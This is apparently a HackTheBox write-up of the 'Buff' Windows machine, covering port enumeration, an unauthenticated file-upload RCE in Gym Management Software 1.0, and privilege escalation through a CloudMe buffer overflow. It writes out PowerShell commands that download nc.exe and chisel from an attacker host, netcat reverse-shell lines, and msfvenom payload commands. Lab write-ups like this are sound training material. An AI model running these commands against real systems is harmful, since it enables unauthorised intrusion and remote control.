Pentest

Buff

HackTheBox

04 December 2020

Difficulty:

Intro :bulb:

Windows boxes seem to be more intimidating than linux boxes to me, this one is no different. This machine however is quite straightforward which makes the process supposedly straightforward. There are a lot of failed attempts I didn’t write here, but if we look at the big picture, it’s quite similar to linux. Exploit a public facing service to get a foothold, do some lateral movement (this box doesn’t have that), and escalate privileges by exploiting a service only available locally. It’s CVE all the way just like in other easy rated linux boxes, this box teaches you more on how to get things working when we’re attacking on a windows environment.

Enumeration :mag:

Let’s put the IP 10.10.10.198 as buff.htb into our /etc/hosts file, then masscan and nmap it.

masscan --rate=200 -e tun0 -p1-65535,U:1-65535 10.10.10.198 | tee masscan.out
...
Discovered open port 8080/tcp on 10.10.10.198
Discovered open port 7680/tcp on 10.10.10.198
nmap -A -oN nmap.out buff.htb -p`awk '{print $4}' masscan.out | tr -d '[/tcp/udp]' | tr '\n' ',' | sed 's/.$//'`
...
PORT     STATE SERVICE    VERSION
7680/tcp open  pando-pub?
8080/tcp open  http       Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
Full nmap output
# Nmap 7.80 scan initiated Wed Sep  2 10:17:59 2020 as: nmap -A -oA nmap -p8080,7680 10.10.10.198
Nmap scan report for buff.htb (10.10.10.198)
Host is up (0.77s latency).

PORT     STATE SERVICE    VERSION
7680/tcp open  pando-pub?
8080/tcp open  http       Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6
|_http-title: mrb3n's Bro Hut
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops

TRACEROUTE (using port 8080/tcp)
HOP RTT       ADDRESS
1   322.61 ms 10.10.14.1
2   793.96 ms buff.htb (10.10.10.198)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Sep  2 10:20:06 2020 -- 1 IP address (1 host up) scanned in 128.02 seconds

Port 7680

The service name is not detected and there’s a better port so we’re skipping this one.

Port 8080 (Apache httpd 2.4.43)

Try the more likely attack surface.

Browse around the webpage, we’ll eevntually reach the last tab.

Now we have a software name (Gym Management Software), version (1.0), and possibly vendor (Projectworlds.in).

Initial Foothold :syringe:

Googled “Gym Management Software 1.0 projectworlds.in exploit” we got this RCE exploit on edb.

The way the exploit works is that it’s an (Unauthenticated) Unrestricted File Upload by bypassing some filters, that also renames the uploaded file predictably. Because of this, we can upload a webshell, and access it to have it execute.

The exploit depends on upload.php not checking for an authenticated user, so let’s check it.

Looks like it’s asking for the file to be uploaded, so let’s run our exploit.

We got a shell!

User Own :heavy_dollar_sign:

It doesn’t look like we’re a service account, but rather a user? Maybe we’re immediately user? Little bit of enumeration and we found the user flag.

Turns out we got user immediately!

Root Own :zap:

Further enumeration, roaming around the system, the webshell gets pretty annoying so I tried to find a way to get a reverse shell. We can transfer nc.exe for a basic reverse shell. We’ll spin up a simple webserver to host our nc.exe file, and get it from the target with powershell.

powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.43:8088/nc.exe', 'nc.exe')"
c:\xampp\htdocs\gym\upload\nc.exe 10.10.14.55 1234 -e cmd.exe

Now that we have a better shell, we can roam around and enumerate more comfortably. We find a file with possibly the version number in shaun’s downloads/ dir.

After googling about what this software is, it looks like it’s a file storage and synchronization service, so something like gdrive? The default port seems to be 8888 so let’s see if it’s already running on our system.

Looks like it! Googled “cloudme 1112 privilege escalation” and found this buffer overflow exploit on edb. The payload of the exploit is just going to run calculator, luckily the msfvenom command is noted in the exploit so we can just follow it.

msfvenom -a x86 -p windows/exec CMD='C:\xampp\htdocs\gym\upload\nc.exe -e cmd.exe 10.10.14.43 1235' -b '\x00\x0A\x0D' -f python -v payload

Then we replace the original payload with our new one that just runs the same reverse shell. The script runs on python so we need to check if our target has that installed first.

Doesn’t seem like it, and we don’t know if we even have privileges to install python on this machine even if we get a windows python installer in here. So maybe instead of trying to bring python into our target machine, why not try to bring the vulnerable service to our attacker machine, where we already have python? Googling for port forwarding from windows to linux, we end up with 2 choices, plink and chisel. Googled some more about the details of those 2, and it seems that plink requires the use of an ssh server to connect to, while chisel can act as the sender and reciever just like nc. So we’ll go with the easier option here which is chisel.

Googled “how to use chisel for port forwarding” and found this article. We can find precompiled chisel binaries from the releases here so we don’t need to build anthing and risk any inconsistencies. Then we transfer over the windows version,

powershell -c "(New-Object System.Net.WebClient).DownloadFile('http://10.10.14.43:8088/chisel-x64.exe', 'chisel.exe')"

and we run our own linux version.

./chisel-linux server -p 8088 --reverse

Now we connect from target machine to our attacker machine.

.\chisel.exe client 10.10.14.43:8088 R:8888:127.0.0.1:8888

It appears to be connected, is it though?

It is! We see the connection gets picked up on our attacker machine, then we run our python exploit, but nothing happens. Let’s try to run the original calculator payload, and the look if calc.exe is actually being run.

It is! Then what’s happening here? Let’s try to make the payload fit a bit more snugly, first we look at the system.

We see that the architecture is actually x64 and not x86, then how did the calculator run? Is calc.exe an x86 binary or something? Anyway we can try to remove the -a flag now and see if that helps.

msfvenom -p windows/exec CMD='C:\xampp\htdocs\gym\upload\nc.exe -e cmd.exe 10.10.14.43 1235' -b '\x00\x0A\x0D' -f python -v payload

After a bit of trial and error, we got root! :checkered_flag::checkered_flag:

Takeaway :books: